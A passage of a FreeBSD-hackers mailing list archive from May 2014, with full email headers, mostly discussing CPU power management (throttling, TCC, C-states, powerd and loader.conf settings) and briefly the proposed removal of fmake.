Throttling was first. SpeedStep was > > about all that was available for power management and even that was not > > available for older laptops. It was thought that throttling was a way to > get > > some power management for those older systems. Nate was developing the > first > > power management for FreeBSD and the first implementation of SST. He > threw > > in throttling as both an added capability an something for older laptops > > that lacked SpeedStep. > > > > It made sense to me, too, After all, SST only provided two performance > > levels. It was an improvement from nothing, but not a really a lot and, > > mostly because neither of us thought about it enough, we really believed > > throttling was a help. Before cpufreq was committed, the Pentium 4 came > out, > > including TCC which did what throttling did,but much more cleanly.So > cpufreq > > was modified to use TCC if available and throttling when not. In > retrospect, > > this was pretty dumb, but it made sense at the time. > > > > Soon after that, EST (true P-states) came out. It really reduced power > > consumption in normal applications. A driver for it was added fairly > > quickly, but throttling/TCC remained. Its only real effect was to add > > several many more "frequencies" to powerd, taking longer to save power > when > > the CPU was lightly loaded and causing lag in speeding up when things got > > busy. > > > > Next, along came C-states and, almost simultaneously, D-states. Dx was > very > > closely linked to the hardware and savings were often limited, but > C-states > > were the real deal. This was a huge change as it really did save power. > > Unfortunately people started reporting that Cx states were causing CPU > > lockup and very laggy interactive behavior. As a result, the default > > setting for Cx states was to disable them. This was a really bad choice. > It > > was made without any analysis of why.Cx was hanging systems and working > > badly, so turn it off. > > > > It took me very little time to discover the problem.My old laptop at the > > time this happened as a Pentium-M with a lowest P-state of 800 MHz. Ass > TCC > > and the idle clock was effectively just 100 MHz. When you combine the way > > powerd adjusted speed and C-states, the best you can hope for is crappy > > interactivity. It just took way too long to get out of the lowest idle > > state. I can't explain the hangs as I never experienced them, but simply > > turning off TCC (and throttling) prevented it. > > > > It looked like the obvious thing to do was to turn off TCC and make full > use > > of C-states. This became even more blindingly obvious when mav put up his > > very excellent paper on power management on FreeBSD. If you care about > > power management and have not read it, do so now! > > https://wiki.freebsd.org/TuningPowerConsumption > > > > Why mav's suggestions were not made default,I simply don't understand. > I'm > > sure much of it is that FreeBSD is developed primarily for servers and > > people seem to often not care much about power savings on servers, though > > this is finally changing. > > > > I think I got most of the history correct, though it goes back to v4, a > lot > > of years ago. Since I retired, I no longer have access to my old mail, > so I > > may have gotten some details wrong. If so, I apologize. > > -- > > R. Kevin Oberman, Network Engineer, Retired > > E-mail: rkoberman@gmail.com > -- R. Kevin Oberman, Network Engineer, Retired E-mail: rkoberman@gmail.com From owner-freebsd-hackers@FreeBSD.ORG Sun May 4 14:28:46 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C2696B1; Sun, 4 May 2014 14:28:46 +0000 (UTC) Received: from ms-10.1blu.de (ms-10.1blu.de [178.254.4.101]) (using TLSv1 with cipher AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 78895195F; Sun, 4 May 2014 14:28:46 +0000 (UTC) Received: from [93.104.25.129] (helo=localhost.my.domain) by ms-10.1blu.de with esmtpsa (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:32) (Exim 4.76) (envelope-from ) id 1WgxPG-0003SR-Ko; Sun, 04 May 2014 16:28:42 +0200 Received: from localhost.my.domain (localhost [127.0.0.1]) by localhost.my.domain (8.14.7/8.14.3) with ESMTP id s44ESeUf009338; Sun, 4 May 2014 16:28:40 +0200 (CEST) (envelope-from guru@unixarea.de) Received: (from guru@localhost) by localhost.my.domain (8.14.7/8.14.3/Submit) id s44ESdx5009337; Sun, 4 May 2014 16:28:39 +0200 (CEST) (envelope-from guru@unixarea.de) X-Authentication-Warning: localhost.my.domain: guru set sender to guru@unixarea.de using -f Date: Sun, 4 May 2014 16:28:39 +0200 From: Matthias Apitz To: Kevin Oberman Subject: Re: Leaving the Desktop Market Message-ID: <20140504142839.GA9271@La-Habana> References: <3F7430D7-3C0F-43E1-8EBD-8AA4F701497C@FreeBSD.org> <20140503155745.GA2457@La-Habana> <20140503192305.GA1847@La-Habana> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: X-Operating-System: FreeBSD 9.0-CURRENT r214444 (i386) User-Agent: Mutt/1.5.21 (2010-09-15) X-Con-Id: 51246 X-Con-U: 0-guru X-Originating-IP: 93.104.25.129 Cc: "freebsd-hackers@freebsd.org" , "current@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: Matthias Apitz List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 04 May 2014 14:28:46 -0000 El día Saturday, May 03, 2014 a las 04:59:48PM -0700, Kevin Oberman escribió: > On Sat, May 3, 2014 at 1:25 PM, Adrian Chadd wrote: > > > Set it to the lowest available Cx state that you see in dev.cpu.0 . > > > > > Available is not required. Set it to C8. That guarantees that you will use > the lowest available. The correct incantation in rc.conf is "Cmax". > performance_cx_lowest="Cmax" > economy_cx_lowest="Cmax" > > But, unless you want laggy performance, you will probably also want: > hint.p4tcc.0.disabled=1 > hint.acpi_throttle.0.disabled=1 > in /boot/loader.conf. Low Cx states and TCC/throttling simply don't mix > well and TCC is not effective, as mentioned earlier in this thread. Re/ powerd I have in /etc/rc.conf: # powerd powerd_enable="YES" powerd_flags="-a max -b adp" # performance_cx_lowest="Cmax" economy_cx_lowest="Cmax" (and the additional hint.* in /boot/loader.conf as well). Which process 'performance_cx_lowest' and 'economy_cx_lowest' target exactly as config values? Thx matthias -- Matthias Apitz | /"\ ASCII Ribbon Campaign: E-mail: guru@unixarea.de | \ / - No HTML/RTF in E-mail WWW: http://www.unixarea.de/ | X - No proprietary attachments phone: +49-170-4527211 | / \ - Respect for open standards | en.wikipedia.org/wiki/ASCII_Ribbon_Campaign From owner-freebsd-hackers@FreeBSD.ORG Mon May 5 00:14:00 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 866235F9 for ; Mon, 5 May 2014 00:14:00 +0000 (UTC) Received: from nschwqsrv01p.mx.bigpond.com (nschwqsrv01p.mx.bigpond.com [61.9.189.231]) by mx1.freebsd.org (Postfix) with ESMTP id 1433311A9 for ; Mon, 5 May 2014 00:13:59 +0000 (UTC) Received: from nschwcmgw09p ([61.9.190.169]) by nschwmtas01p.mx.bigpond.com with ESMTP id <20140504235414.JFZB5824.nschwmtas01p.mx.bigpond.com@nschwcmgw09p> for ; Sun, 4 May 2014 23:54:14 +0000 Received: from hermes.heuristicsystems.com.au ([121.210.107.100]) by nschwcmgw09p with BigPond Outbound id xzuE1n00A29zwdD01zuEjY; Sun, 04 May 2014 23:54:14 +0000 X-Authority-Analysis: v=2.0 cv=Zeafx7pA c=1 sm=1 a=SEJ2iDwVkb98DYvesvueMw==:17 a=JipEcVzqA9wA:10 a=8nJEP1OIZ-IA:10 a=GHIR_BbyAAAA:8 a=6I5d2MoRAAAA:8 a=bQ22OCosxQD2miGCPp0A:9 a=wPNLvfGTeEIA:10 a=SV7veod9ZcQA:10 a=SEJ2iDwVkb98DYvesvueMw==:117 Received: from [10.0.5.3] (ewsw01.hs [10.0.5.3]) (authenticated bits=0) by hermes.heuristicsystems.com.au (8.14.5/8.13.6) with ESMTP id s44NsJbR056535 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NOT) for ; Mon, 5 May 2014 09:54:20 +1000 (EST) (envelope-from dewayne.geraghty@heuristicsystems.com.au) Message-ID: <5366D308.5090808@heuristicsystems.com.au> Date: Mon, 05 May 2014 09:53:44 +1000 From: Dewayne Geraghty User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: Leaving the Desktop Market References: <3F7430D7-3C0F-43E1-8EBD-8AA4F701497C@FreeBSD.org> <20140503155745.GA2457@La-Habana> <20140503192305.GA1847@La-Habana> <536592D1.7080403@freebsd.org> <20140504112807.1136d108@x23> <53661C77.5030806@freebsd.org> In-Reply-To: <53661C77.5030806@freebsd.org> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 05 May 2014 00:14:00 -0000 On 4/05/2014 8:54 PM, Stefan Esser wrote: > Am 04.05.2014 11:28, schrieb Marko Zec: >> On Sun, 4 May 2014 01:13:48 -0700 >> Adrian Chadd wrote: >> >>> [snip] >>> >>> ok, how about this to start with: >>> >>> http://people.freebsd.org/~adrian/power/20140504-powerd-1.diff >>> >>> This defaults powerd to set minfreq to 50% of the hardware available >>> maxfreq, unless minfreq is explicitly given on the command line. >> As already noted earlier in this thread, if you disable >> >> hint.p4tcc.0.disabled=1 >> hint.acpi_throttle.0.disabled=1 >> >> then the kernel does not even expose expose those silly minimum >> "frequencies", and your problem goes away without patching powerd. >> >> A more reasonable and simpler patch would be to disable the two >> offending throttling drivers by default, I really cannot see a single >> reason why do we need them at all, less why they are enabled. >> >> Marko > Very true and this topic has come up so many times during for at least a > decade (if not much longer). Throttling had its use at a time, but > this time is long gone. > > Throttling is enabled unless probing of the "p4tcc" and "acpi_throttle" > pseudo-devices is disabled by device hints. > > As a first step, these hints could be set in /boot/defaults/loader.conf. > They could still be overridden in /boot/loader.conf, if they really are > required (anybody still got P4 systems running -CURRENT?). > > A better fix would be to disable throttling depending on the CPU model > identified (or on the presence of any other power management solution). > > Since the CPUs are probed before any device, adding a "disable" hint > for both throttling methods would be kind of a hack, but should work. > > If there is an agreement, that we should move into that direction, I'll > try to create a patch for review. > > Regards, STefan > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > > Its really pleasing to see this discussion, the insightful historical context from Kevin and Adrian's generous offer to take up the mantel, re the proposal of the work required. We've been using low powered servers since 2003. Some of our constraints: - at a couple of customer sites, air-conditioning is turned off after 18:00 so thermal controls are significant during summer - medium businesses with tight budgets want to reduce electrical costs (30 devices isn't uncommon) - we're not running current on customer P4 machines but we are running 9.2 Stable on most. Working to eliminating P4tcc and acpi_throttling seems to be beneficial so disabling by default is a good idea for most, and the requirement to enabling on the older systems should be acceptable to most. (As an FYI, the VIA chipsets, which we purchased 8 months ago only have C1 state dev.cpu.0.cx_supported=C1/0 ) - sometimes its overlooked, that folks in less developed countries don't have access to later generation equipment; and in my experience they don't raise their financial situation, they quietly do without. Not our situation (btw), longevity & lower power consumption is a frequent management choice. And any help in (not) tuning powerd for each core/thread solution would be appreciated. An e.g night-time use at a thermally hot site with C1 state only, /usr/sbin/powerd -i 96 -r 80 -p 500 -n hadp for single core, and we peg the low end at debug.cpufreq.lowest=800. It's a black art, and may be unavoidable :) Regards, Dewayne From owner-freebsd-hackers@FreeBSD.ORG Mon May 5 09:17:25 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id EDB58D57; Mon, 5 May 2014 09:17:24 +0000 (UTC) Received: from ms-10.1blu.de (ms-10.1blu.de [178.254.4.101]) (using TLSv1 with cipher AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id A2F1E1312; Mon, 5 May 2014 09:17:24 +0000 (UTC) Received: from [89.204.137.79] (helo=localhost.my.domain) by ms-10.1blu.de with esmtpsa (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:32) (Exim 4.76) (envelope-from ) id 1WhF1O-0003Ba-Fz; Mon, 05 May 2014 11:17:14 +0200 Received: from localhost.my.domain (localhost [127.0.0.1]) by localhost.my.domain (8.14.7/8.14.3) with ESMTP id s459HApH001999; Mon, 5 May 2014 11:17:11 +0200 (CEST) (envelope-from guru@unixarea.de) Received: (from guru@localhost) by localhost.my.domain (8.14.7/8.14.3/Submit) id s459H9W4001998; Mon, 5 May 2014 11:17:09 +0200 (CEST) (envelope-from guru@unixarea.de) X-Authentication-Warning: localhost.my.domain: guru set sender to guru@unixarea.de using -f Date: Mon, 5 May 2014 11:17:09 +0200 From: Matthias Apitz To: Kevin Oberman Subject: Re: Leaving the Desktop Market Message-ID: <20140505091709.GA1983@La-Habana> Reply-To: Matthias Apitz References: <3F7430D7-3C0F-43E1-8EBD-8AA4F701497C@FreeBSD.org> <20140503155745.GA2457@La-Habana> <20140503192305.GA1847@La-Habana> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: X-Operating-System: FreeBSD 9.0-CURRENT r214444 (i386) User-Agent: Mutt/1.5.21 (2010-09-15) X-Con-Id: 51246 X-Con-U: 0-guru X-Originating-IP: 89.204.137.79 Cc: Adrian Chadd , "current@freebsd.org" , David Chisnall , Eitan Adler , "freebsd-hackers@freebsd.org" , Jordan Hubbard X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 05 May 2014 09:17:25 -0000 El día Saturday, May 03, 2014 a las 04:59:48PM -0700, Kevin Oberman escribió: > Available is not required. Set it to C8. That guarantees that you will use > the lowest available. The correct incantation in rc.conf is "Cmax". > performance_cx_lowest="Cmax" > economy_cx_lowest="Cmax" > > But, unless you want laggy performance, you will probably also want: > hint.p4tcc.0.disabled=1 > hint.acpi_throttle.0.disabled=1 > in /boot/loader.conf. Low Cx states and TCC/throttling simply don't mix > well and TCC is not effective, as mentioned earlier in this thread. In the output of: $ sysctl -a | fgrep dev.cpu.0.freq_ dev.cpu.0.freq_levels: 1600/2000 1333/1533 1066/1066 800/600 what does mean the value after the slash .../nnnn ? Thx matthias -- Matthias Apitz | /"\ ASCII Ribbon Campaign: E-mail: guru@unixarea.de | \ / - No HTML/RTF in E-mail WWW: http://www.unixarea.de/ | X - No proprietary attachments phone: +49-170-4527211 | / \ - Respect for open standards | en.wikipedia.org/wiki/ASCII_Ribbon_Campaign From owner-freebsd-hackers@FreeBSD.ORG Mon May 5 10:09:17 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9A5C89AF; Mon, 5 May 2014 10:09:17 +0000 (UTC) Received: from mailout11.t-online.de (mailout11.t-online.de [194.25.134.85]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "mailout00.t-online.de", Issuer "TeleSec ServerPass DE-1" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 552AE17AF; Mon, 5 May 2014 10:09:16 +0000 (UTC) Received: from fwd09.aul.t-online.de (fwd09.aul.t-online.de [172.20.27.151]) by mailout11.t-online.de (Postfix) with SMTP id B579FB40F6; Mon, 5 May 2014 12:08:46 +0200 (CEST) Received: from [192.168.119.11] (EwnaB+Ze8hxsgZrGPbhGezurYYVWWjNRBsUorpc5vXDvNIgpA16JorHKWV5aQNbQMq@[84.154.114.101]) by fwd09.t-online.de with esmtp id 1WhFpa-0MsuMS0; Mon, 5 May 2014 12:09:06 +0200 Message-ID: <5367633E.90003@freebsd.org> Date: Mon, 05 May 2014 12:09:02 +0200 From: Stefan Esser User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: "current@freebsd.org" , "freebsd-hackers@freebsd.org" Subject: Re: Leaving the Desktop Market References: <3F7430D7-3C0F-43E1-8EBD-8AA4F701497C@FreeBSD.org> <20140503155745.GA2457@La-Habana> <20140503192305.GA1847@La-Habana> <20140505091709.GA1983@La-Habana> In-Reply-To: <20140505091709.GA1983@La-Habana> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-ID: EwnaB+Ze8hxsgZrGPbhGezurYYVWWjNRBsUorpc5vXDvNIgpA16JorHKWV5aQNbQMq X-TOI-MSGID: 3c45a41c-cb2d-499b-8675-a809a4001de8 Cc: Matthias Apitz X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 05 May 2014 10:09:17 -0000 Am 05.05.2014 11:17, schrieb Matthias Apitz: > El día Saturday, May 03, 2014 a las 04:59:48PM -0700, Kevin Oberman escribió: > >> Available is not required. Set it to C8. That guarantees that you will use >> the lowest available. The correct incantation in rc.conf is "Cmax". >> performance_cx_lowest="Cmax" >> economy_cx_lowest="Cmax" >> >> But, unless you want laggy performance, you will probably also want: >> hint.p4tcc.0.disabled=1 >> hint.acpi_throttle.0.disabled=1 >> in /boot/loader.conf. Low Cx states and TCC/throttling simply don't mix >> well and TCC is not effective, as mentioned earlier in this thread. > > In the output of: > > $ sysctl -a | fgrep dev.cpu.0.freq_ > dev.cpu.0.freq_levels: 1600/2000 1333/1533 1066/1066 800/600 > > what does mean the value after the slash .../nnnn ? This is the nominal power consumption (TDP) in mW for that level. These numbers correspond to 2W at 1600MHz and 0.6W at 800MHz. Is this an Atom or some other ultra-low power CPU? Regards, STefan From owner-freebsd-hackers@FreeBSD.ORG Mon May 5 10:36:15 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id DAF3420A; Mon, 5 May 2014 10:36:15 +0000 (UTC) Received: from ms-10.1blu.de (ms-10.1blu.de [178.254.4.101]) (using TLSv1 with cipher AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 5434F1A00; Mon, 5 May 2014 10:36:15 +0000 (UTC) Received: from [89.204.137.79] (helo=localhost.my.domain) by ms-10.1blu.de with esmtpsa (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:32) (Exim 4.76) (envelope-from ) id 1WhGFn-0005kA-S5; Mon, 05 May 2014 12:36:12 +0200 Received: from localhost.my.domain (localhost [127.0.0.1]) by localhost.my.domain (8.14.7/8.14.3) with ESMTP id s45Aa9S4002242; Mon, 5 May 2014 12:36:09 +0200 (CEST) (envelope-from guru@unixarea.de) Received: (from guru@localhost) by localhost.my.domain (8.14.7/8.14.3/Submit) id s45Aa8kH002241; Mon, 5 May 2014 12:36:08 +0200 (CEST) (envelope-from guru@unixarea.de) X-Authentication-Warning: localhost.my.domain: guru set sender to guru@unixarea.de using -f Date: Mon, 5 May 2014 12:36:08 +0200 From: Matthias Apitz To: Stefan Esser Subject: Re: Leaving the Desktop Market Message-ID: <20140505103608.GA2206@La-Habana> Reply-To: Matthias Apitz References: <3F7430D7-3C0F-43E1-8EBD-8AA4F701497C@FreeBSD.org> <20140503155745.GA2457@La-Habana> <20140503192305.GA1847@La-Habana> <20140505091709.GA1983@La-Habana> <5367633E.90003@freebsd.org> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <5367633E.90003@freebsd.org> X-Operating-System: FreeBSD 9.0-CURRENT r214444 (i386) User-Agent: Mutt/1.5.21 (2010-09-15) X-Con-Id: 51246 X-Con-U: 0-guru X-Originating-IP: 89.204.137.79 Cc: "freebsd-hackers@freebsd.org" , "current@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 05 May 2014 10:36:15 -0000 El día Monday, May 05, 2014 a las 12:09:02PM +0200, Stefan Esser escribió: > > In the output of: > > > > $ sysctl -a | fgrep dev.cpu.0.freq_ > > dev.cpu.0.freq_levels: 1600/2000 1333/1533 1066/1066 800/600 > > > > what does mean the value after the slash .../nnnn ? > > This is the nominal power consumption (TDP) in mW for that level. > These numbers correspond to 2W at 1600MHz and 0.6W at 800MHz. Thanks. > > Is this an Atom or some other ultra-low power CPU? dmesg shows: ... CPU: Intel(R) Atom(TM) CPU N270 @ 1.60GHz (1596.22-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x106c2 Family = 0x6 Model = 0x1c Stepping = 2 Features=0xbfe9fbff Features2=0x40c39d AMD Features2=0x1 TSC: P-state invariant, performance statistics real memory = 1073741824 (1024 MB) avail memory = 1004568576 (958 MB) Event timer "LAPIC" quality 400 ACPI APIC Table: FreeBSD/SMP: Multiprocessor System Detected: 2 CPUs FreeBSD/SMP: 1 package(s) x 1 core(s) x 2 HTT threads cpu0 (BSP): APIC ID: 0 cpu1 (AP/HT): APIC ID: 1 ioapic0: Changing APIC ID to 4 ioapic0 irqs 0-23 on motherboard ... Btw: the values in /etc/rc.conf performance_cx_lowest="Cmax" economy_cx_lowest="Cmax" to which launched process they belong as config values? Thanks matthias -- Matthias Apitz | /"\ ASCII Ribbon Campaign: E-mail: guru@unixarea.de | \ / - No HTML/RTF in E-mail WWW: http://www.unixarea.de/ | X - No proprietary attachments phone: +49-170-4527211 | / \ - Respect for open standards | en.wikipedia.org/wiki/ASCII_Ribbon_Campaign From owner-freebsd-hackers@FreeBSD.ORG Mon May 5 11:37:22 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0E50F41A; Mon, 5 May 2014 11:37:22 +0000 (UTC) Received: from ms-10.1blu.de (ms-10.1blu.de [178.254.4.101]) (using TLSv1 with cipher AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 732F912E5; Mon, 5 May 2014 11:37:21 +0000 (UTC) Received: from [89.204.137.79] (helo=localhost.my.domain) by ms-10.1blu.de with esmtpsa (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:32) (Exim 4.76) (envelope-from ) id 1WhHCv-0007Vo-Le; Mon, 05 May 2014 13:37:17 +0200 Received: from localhost.my.domain (localhost [127.0.0.1]) by localhost.my.domain (8.14.7/8.14.3) with ESMTP id s45BbFFR002529; Mon, 5 May 2014 13:37:15 +0200 (CEST) (envelope-from guru@unixarea.de) Received: (from guru@localhost) by localhost.my.domain (8.14.7/8.14.3/Submit) id s45BbEj3002528; Mon, 5 May 2014 13:37:14 +0200 (CEST) (envelope-from guru@unixarea.de) X-Authentication-Warning: localhost.my.domain: guru set sender to guru@unixarea.de using -f Date: Mon, 5 May 2014 13:37:14 +0200 From: Matthias Apitz To: Stefan Esser , "freebsd-hackers@freebsd.org" , "current@freebsd.org" Subject: Re: Leaving the Desktop Market Message-ID: <20140505113714.GA2464@La-Habana> Reply-To: Matthias Apitz References: <3F7430D7-3C0F-43E1-8EBD-8AA4F701497C@FreeBSD.org> <20140503155745.GA2457@La-Habana> <20140503192305.GA1847@La-Habana> <20140505091709.GA1983@La-Habana> <5367633E.90003@freebsd.org> <20140505103608.GA2206@La-Habana> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <20140505103608.GA2206@La-Habana> X-Operating-System: FreeBSD 9.0-CURRENT r214444 (i386) User-Agent: Mutt/1.5.21 (2010-09-15) X-Con-Id: 51246 X-Con-U: 0-guru X-Originating-IP: 89.204.137.79 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 05 May 2014 11:37:22 -0000 El día Monday, May 05, 2014 a las 12:36:08PM +0200, Matthias Apitz escribió: > Btw: the values in /etc/rc.conf > > performance_cx_lowest="Cmax" > economy_cx_lowest="Cmax" > > to which launched process they belong as config values? Forget the question. The values are used by /etc/rc.d/power_profile which is launched when AC goes away or comes back. Maybe we should have a note about this in rc.conf(5) that these values are passed to this script or the names should be changed to power_profile_performance_cx_lowest power_profile_economy_cx_lowest matthias matthias -- Matthias Apitz | /"\ ASCII Ribbon Campaign: E-mail: guru@unixarea.de | \ / - No HTML/RTF in E-mail WWW: http://www.unixarea.de/ | X - No proprietary attachments phone: +49-170-4527211 | / \ - Respect for open standards | en.wikipedia.org/wiki/ASCII_Ribbon_Campaign From owner-freebsd-hackers@FreeBSD.ORG Mon May 5 11:41:41 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 068D272B; Mon, 5 May 2014 11:41:41 +0000 (UTC) Received: from mailhost.dlr.de (mailhost.dlr.de [129.247.252.32]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (Client CN "mailhost.dlr.de", Issuer "DLR CA - G02" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 5BD871389; Mon, 5 May 2014 11:41:40 +0000 (UTC) Received: from DLREXHUB02.intra.dlr.de (172.21.152.140) by dlrexedge01.dlr.de (172.21.163.100) with Microsoft SMTP Server (TLS) id 14.3.174.1; Mon, 5 May 2014 13:41:11 +0200 Received: from DLREXMBX01.intra.dlr.de ([fe80::d198:77e5:d411:fccd]) by dlrexhub02.intra.dlr.de ([::1]) with mapi id 14.03.0174.001; Mon, 5 May 2014 13:41:10 +0200 From: To: , Subject: RE: Can fmake be deleted? Thread-Topic: Can fmake be deleted? Thread-Index: AQHPXmhuEngrFFuAGECBpXBtZgkxxZsd840AgAAUKACAAAKAgIAPz8gAgAQR0aA= Date: Mon, 5 May 2014 11:41:11 +0000 Message-ID: <611243783F62AF48AFB07BC25FA4B1061CACCBA2@DLREXMBX01.intra.dlr.de> References: <20140422202506.GA63561@ivaldir.etoilebsd.net> <20140422214610.GC63561@ivaldir.etoilebsd.net> In-Reply-To: Accept-Language: en-US, de-DE Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Cc: sjg@freebsd.org, freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 05 May 2014 11:41:41 -0000 Hi, I've seen that you've copied all the make tests over to usr.bin/make with a= comment that they are fmake-only. According to your question they are to b= e removed. Isn't bmake based on some version of fmake? In fact several of these tests = check for bugs that I've fixed in our fmake some years ago. Are they now re= introduced via the bmake import? Wouldn't it make sense to retain the tests= that apply to bmake? In fact most of these tests are for rather basic things and if they do not = work in bmake then things are broken. When I worked on make I found it rather strange that one of the most basic = programs has no tests altogether. So I recommend to make them work rather t= o remove them. harti -----Original Message----- From: owner-freebsd-hackers@freebsd.org [mailto:owner-freebsd-hackers@freeb= sd.org] On Behalf Of Julio Merino Sent: Saturday, May 03, 2014 1:14 AM To: Baptiste Daroussin Cc: sjg@freebsd.org; freebsd-hackers@freebsd.org Subject: Re: Can fmake be deleted? On Tue, Apr 22, 2014 at 2:46 PM, Baptiste Daroussin wrot= e: >> - Can fmake be removed from base even if ports hasn't yet dropped its=20 >> support for fmake? > > Yes as right now we do support both So, given this and that there has been no comment otherwise for 10 days... = I take it that I could remove fmake from the tree anytime soon. (Whether I= have the time to do so or not is another story ;-) _______________________= ________________________ freebsd-hackers@freebsd.org mailing list http://lists.freebsd.org/mailman/l= istinfo/freebsd-hackers To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Mon May 5 13:00:26 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 17682134; Mon, 5 May 2014 13:00:26 +0000 (UTC) Received: from vps1.elischer.org (vps1.elischer.org [204.109.63.16]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "vps1.elischer.org", Issuer "CA Cert Signing Authority" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id C05011A8E; Mon, 5 May 2014 13:00:25 +0000 (UTC) Received: from Julian-MBP3.local (ppp121-45-232-70.lns20.per1.internode.on.net [121.45.232.70]) (authenticated 